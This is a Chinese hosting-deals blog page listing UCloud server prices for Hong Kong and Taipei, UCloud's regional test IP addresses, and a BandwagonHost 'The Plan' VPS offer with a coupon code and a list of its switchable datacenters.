    快杰型云服务器香港Intel4C16G(40GB RSSD系统盘)2M81.261625.281787.814388.264827.08
    快杰型云服务器香港Intel4C16G(40GB RSSD系统盘)5M111.52230.082453.096021.226623.34
    快杰型云服务器香港Intel8C16G(40GB RSSD系统盘)1M229.5459050491239313632.3
    快杰型云服务器香港Intel8C16G(40GB RSSD系统盘)5M262.852565781.614191.215610.32
    快杰型云服务器香港Intel8C16G(40GB RSSD系统盘)10M382.876568421.620671.222738.32
    快杰型云服务器台北Intel1C2G(40GB RSSD系统盘)1M13.28265.68292.25717.34789.07
    快杰型云服务器台北Intel1C2G(40GB RSSD系统盘)2M16.34326.88359.57882.58970.83
    快杰型云服务器台北Intel2C4G(40GB RSSD系统盘)1M34.2684752.41846.82031.48
    快杰型云服务器台北Intel2C4G(40GB RSSD系统盘)2M37.26745.2819.722012.042213.24
    快杰型云服务器台北Intel2C4G(40GB RSSD系统盘)5M67.51350148536454009.5
    快杰型云服务器台北Intel2C8G(40GB RSSD系统盘)1M45.69121003.22462.42708.64
    快杰型云服务器台北Intel2C8G(40GB RSSD系统盘)2M48.66973.21070.522627.642890.4
    快杰型云服务器台北Intel2C8G(40GB RSSD系统盘)5M78.915781735.84260.64686.66
    快杰型云服务器台北Intel4C8G(40GB RSSD系统盘)1M58.141162.81279.083139.563453.52
    快杰型云服务器台北Intel4C8G(40GB RSSD系统盘)2M61.212241346.43304.83635.28
    快杰型云服务器台北Intel4C8G(40GB RSSD系统盘)5M91.441828.82011.684937.765431.54
    快杰型云服务器台北Intel4C16G(40GB RSSD系统盘)1M78.21564.081720.494223.024645.32
    快杰型云服务器台北Intel4C16G(40GB RSSD系统盘)2M81.261625.281787.814388.264827.08
    快杰型云服务器台北Intel4C16G(40GB RSSD系统盘)5M111.52230.082453.096021.226623.34
    快杰型云服务器台北Intel8C16G(40GB RSSD系统盘)1M229.5459050491239313632.3
    快杰型云服务器台北Intel8C16G(40GB RSSD系统盘)5M262.852565781.614191.215610.32
    快杰型云服务器台北Intel8C16G(40GB RSSD系统盘)10M382.876568421.620671.222738.32

    UCloud 测试 IP 地址整理

    下面为大家整理 UCloud 测试 IP 地址。

    • 北京二 (内) 10.10.216.69、(外) 117.50.109.161
    • 上海二 (内) 10.25.50.78、(外) 113.31.154.115
    • 广州 (内) 10.13.16.196、(外) 106.75.152.246
    • 香港(内) 10.8.19.27、(外) 45.249.244.141;(内) 10.8.32.74、(外) 23.91.101.5.ipssh.net
    • 台湾台北 (内) 10.41.67.124、(外) 103.98.17.28.ipssh.net
    • 洛杉矶 (内) 10.11.30.165、(外) 107.150.102.20.ipssh.net
    • 华盛顿 (内) 10.27.44.20、(外) 23.236.125.23.ipssh.net
    • 日本东京 (内) 10.40.72.246、(外) 128.1.49.215.ipssh.net
    • 韩国首尔 (内) 10.33.0.159、(外) 107.150.126.113
    • 新加坡 (内) 10.35.190.132、(外) 128.1.33.45.ipssh.net
    • 越南胡志明 公网IP:101.36.102.110.ipssh.net
    • 菲律宾马尼拉 (内) 10.56.19.17、(外) 152.32.242.32
    • 泰国曼谷 (内) 10.31.92.220、(外) 107.155.50.53
    • 印尼雅加达 (内) 10.45.110.143、(外) 23.248.174.247
    • 印度孟买 (内) 10.47.19.204、(外) 45.40.57.24
    • 俄罗斯莫斯科 (内) 10.39.147.213、(外) 128.1.43.39
    • 巴西圣保罗 (内) 10.49.73.62、(外) 23.236.126.4
    • 英国伦敦 (内) 10.50.138.101、(外) 104.218.164.21
    • 迪拜 (内) 10.44.53.249、(外) 107.155.60.130
    • 德国法兰克福 (内) 10.29.8.34、(外) 107.150.117.225
  • 搬瓦工BWH VPS 限量年付可切换18个机房2.5G带宽VPS 仅需$99/y

    搬瓦工BWH VPS 限量年付可切换18个机房2.5G带宽VPS 仅需$99/y

    对于搬瓦工BWHVPS主机商我们很多朋友其实不算陌生,从开始低价年付VPS起步的后来陆续抛弃OPENVZ低价配置,而后转型到优化线路CN2 GIA线路的美国洛杉矶VPS,以及后来也有新增香港机房1G带宽的大带宽VPS。随着时间的推移,现在BWHVPS主机商有多达18个数据中心,而且今天要介绍的这款VPS主机方案性价比还是比较高的。

    这款传说中的 The Plan 限量方案今天重新出现,年付99美元(季度25美元)拥有18个数据中心机房可选,而且与众不同的是,在我们选择完毕之后,在后台也可以随时的切换机房。

    我们可以看到有包括香港、洛杉矶DC9和DC6等优化线路。当然不同的机房带宽稍微有些差异。大部分机房是2.5G带宽,有少部分是1G带宽。

    THE PLAN2核2GB40GB1TB2.5G18$99.99/年购买

    叠加优惠码:BWHCCNCXVV

    叠加优惠码可以省钱6.78%。折合大约年付92美元左右。

    如果我们购买的服务器IP不可用要及时的工单反馈更换。如果开始好用没有问题,后续如果自己使用导致IP被封,是不支持更换IP以及更换机房的。

    这里盘点这款THE PLAN方案支持更换的机房数量。

        日本大阪:2.5 Gbps
        香港:2.5 Gbps
        荷兰阿姆斯特丹,EUNL_3:1 Gbps
        荷兰阿姆斯特丹,EUNL_9:2.5 Gbps
        美国新泽西:1 Gbps
        美国纽约:2.5 Gbps
        美国洛杉矶,USCA_2/ AO:1 Gbps
        美国洛杉矶,USCA_3/ CN2 GT:1 Gbps
        美国洛杉矶,USCA_4/ MCOM:1 Gbps
        美国洛杉矶,USCA_6/ CN2GIA-E:2.5 Gbps
        美国洛杉矶,USCA_8/ ZNET:1 Gbps
        美国洛杉矶,USCA_9/ CN2GIA:1 Gbps
        加拿大温哥华,CABC_1:2.5 Gbps
        加拿大温哥华,CABC_6/ CN2GIA:2.5 Gbps
        美国弗里蒙特/ HE:2.5 Gbps
        美国弗里蒙特/ FMT8:2.5 Gbps
        阿联酋迪拜:2.5 Gbps
        澳大利亚悉尼:2.5 Gbps
    

    这里我们可以看到各个可切换的机房对应的端口。在后台面板,我们可以自己迁移机房,可以保持数据不变。

WeChat